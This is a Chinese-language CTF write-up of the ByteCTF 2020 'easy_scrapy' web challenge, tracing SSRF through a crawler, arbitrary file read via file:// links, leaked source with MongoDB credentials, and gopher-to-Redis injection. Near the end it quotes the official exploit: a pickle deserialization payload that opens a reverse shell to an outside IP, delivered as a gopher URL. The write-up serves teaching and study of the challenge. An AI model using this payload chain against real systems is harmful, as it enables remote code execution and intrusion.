文章归档

置顶文章

Web安全

Web安全基础

PHP相关

Writeups

靶机系列

HackTheBox

VulnHub

代码审计

PHP代码审计

大数据安全

机器学习

基础学习

Python

Python基础

Python安全

Java

Java基础

算法

Leetcode

随笔

经验

技术

 2020-11-05   1.3k

ByteCTF2020复现

这web题目出的简直就是神仙。。

easy_scrapy

首页是一个可以提交URL的输入框,验证码给出了md5加密后的前5位,可以直接写Python脚本爆破。添加数据的时候,在VPS监听端口:

从上图中可以看出使用的是scrapy+redis,应该是url数据会存储在Redis中,然后用scrapy爬虫爬取。

添加完数据后,在MyUrlList中会显示数据,点击记录,发现会访问http://101.200.50.18:30010/result?url=http://xx.xx.xxx.xx:8888/,可能存在SSRF,监听端口:

后面/result?url则是用了另一种功能进行pycurl的请求,类似于curl,同样支持使用Gopher协议。

复现时候也用SSRF常见利用方式探测端口以及Redis的服务信息,但是没有什么收获。

转变一下思路,既然是爬虫,那么遇到<a>标签,他就有可能去请求:

既然是这样,那么就可以把<a>标签的href改成file协议造成任意文件读取:

OK,验证成功。那么这样的话,就可以读取题目的爬虫源码,但是在读之前,需要知道爬虫源码的绝对路径。可以通过读取/etc/self/environ得到工作路径



显示当前PWD=/code,但是我们还不知道项目结构,可以去官方文档中找到这个爬虫框架的结构:

1
2
3
4
5
6
7
8
9
10
tutorial/
scrapy.cfg
tutorial/
__init__.py
items.py
pipelines.py
settings.py
spiders/
__init__.py
...

这些文件分别是:

  • scrapy.cfg: 项目的配置文件
  • tutorial/: 该项目的python模块。之后您将在此加入代码。
  • tutorial/items.py: 项目中的item文件.
  • tutorial/pipelines.py: 项目中的pipelines文件.
  • tutorial/settings.py: 项目的设置文件.
  • tutorial/spiders/: 放置spider代码的目录.

首先去看项目配置文件:

1
2
3
4
5
6
7
8
9
10
11
# Automatically created by: scrapy startproject
#
# For more information about the [deploy] section see:
# https://scrapyd.readthedocs.io/en/latest/deploy.html

[settings]
default = bytectf.settings

[deploy]
#url = http://localhost:6800/
project = bytectf

得知项目名是bytectf,但是还需要知道bytectf文件夹下的spiders的爬虫文件名。

读取/proc/self/cmdline,这个文件包含进程的完整命令行信息,我们可以根据他来得知正在运行的爬虫的文件名称。

1
/usr/local/bin/python /usr/local/bin/scrapy crawl byte

那么当前的爬虫名字是byte。

读取源码,得到结构如下:

通过piplelines.py和settings.py分别得到了MongoDB和Redis的配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
//pipelines.py
import pymongo

class BytectfPipeline:

def __init__(self):

MONGODB_HOST = '127.0.0.1'
MONGODB_PORT = 27017
MONGODB_DBNAME = 'result'
MONGODB_TABLE = 'result'
MONGODB_USER = 'N0rth3'
MONGODB_PASSWD = 'E7B70D0456DAD39E22735E0AC64A69AD'
mongo_client = pymongo.MongoClient("%s:%d" % (MONGODB_HOST, MONGODB_PORT))
mongo_client[MONGODB_DBNAME].authenticate(MONGODB_USER, MONGODB_PASSWD, MONGODB_DBNAME)
mongo_db = mongo_client[MONGODB_DBNAME]
self.table = mongo_db[MONGODB_TABLE]



def process_item(self, item, spider):

quote_info = dict(item)
print(quote_info)
self.table.insert(quote_info)
return item
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//settings.py
BOT_NAME = 'bytectf'
SPIDER_MODULES = ['bytectf.spiders']
NEWSPIDER_MODULE = 'bytectf.spiders'
RETRY_ENABLED = False
ROBOTSTXT_OBEY = False
DOWNLOAD_TIMEOUT = 8
USER_AGENT = 'scrapy_redis'
SCHEDULER = "scrapy_redis.scheduler.Scheduler"
DUPEFILTER_CLASS = "scrapy_redis.dupefilter.RFPDupeFilter"
REDIS_HOST = '172.20.0.7'
REDIS_PORT = 6379
ITEM_PIPELINES = {
'bytectf.pipelines.BytectfPipeline': 300,
}

以及主要的爬虫逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import scrapy
import re
import base64
from scrapy_redis.spiders import RedisSpider
from bytectf.items import BytectfItem

class ByteSpider(RedisSpider):
name = 'byte'

def parse(self, response):
byte_item = BytectfItem()
byte_item['byte_start'] = response.request.url
url_list = []
test = response.xpath('//a/@href').getall()
for i in test:
if i[0] == '/':
url = response.request.url + i
else:
url = i
if re.search(r'://',url):
r = scrapy.Request(url,callback=self.parse2,dont_filter=True)
r.meta['item'] = byte_item
yield r
url_list.append(url)
if(len(url_list)>3):
break
byte_item['byte_url'] = response.request.url
byte_item['byte_text'] = base64.b64encode((response.text).encode('utf-8'))
yield byte_item

def parse2(self,response):
item = response.meta['item']
item['byte_url'] = response.request.url
item['byte_text'] = base64.b64encode((response.text).encode('utf-8'))
yield item

到这里,我用byc404写好的docker-compose在本地起爬虫,跟线上的bot+redis+mongo环境基本一致。

https://blog.csdn.net/zwq912318834/article/details/78854571

Github上的环境缺一个文件,需要在easyscrapy/python/bytectf/spiders加一个__init__.py文件。不然scrapy会报没有spiders库。

三个containers启动了之后可以看到爬虫服务已经start了。Redis在本机也映射到了6379端口,进入Redis容器可以看到现在没有keys:

在本机上运行fill.py,需要提前安装https://github.com/wuchengwei0122/redis-py.git

相当于向Redis循环200次添加start_urls:http//baidu.com,这个时候就可以看到byte:requests键存在序列化数据:

那么利用链就是想办法写入byte:requests键,内容为序列化数据,而写入的方法就是pycurl的SSRF,利用Gopher协议打Redis。

贴一个官方的exp,用python3生成poc,反弹shell:

由于byte:requests有序列表是zset,需要在Redis上执行ZADD命令。

1
2
3
4
5
6
7
8
9
10
11
12
13
import pickle
import os
from urllib.parse import quote

class exp(object):
def __reduce__(self):
s = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("119.45.184.10",7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""
return (os.system, (s,))

test = str(pickle.dumps(exp()))
poc = test.replace("\n",'\\n').replace("\"","\\\"")[2:-1]
poc ='gopher://172.20.0.7:6379/_'+quote('ZADD byte:requests 0 "')+quote(poc)+quote('"')
print(poc)

用GET打过去的时候需要二次URL编码。

参考文章:

https://northity.com/2020/10/30/ByteCTF初赛出题笔记/

http://blog.ccreater.top/2020/10/26/2020ByteCTF/

https://www.jianshu.com/p/0823666a7687

https://blog.csdn.net/zwq912318834/article/details/78854571

Copyright © ca01h 2019-2020 | 本站总访问量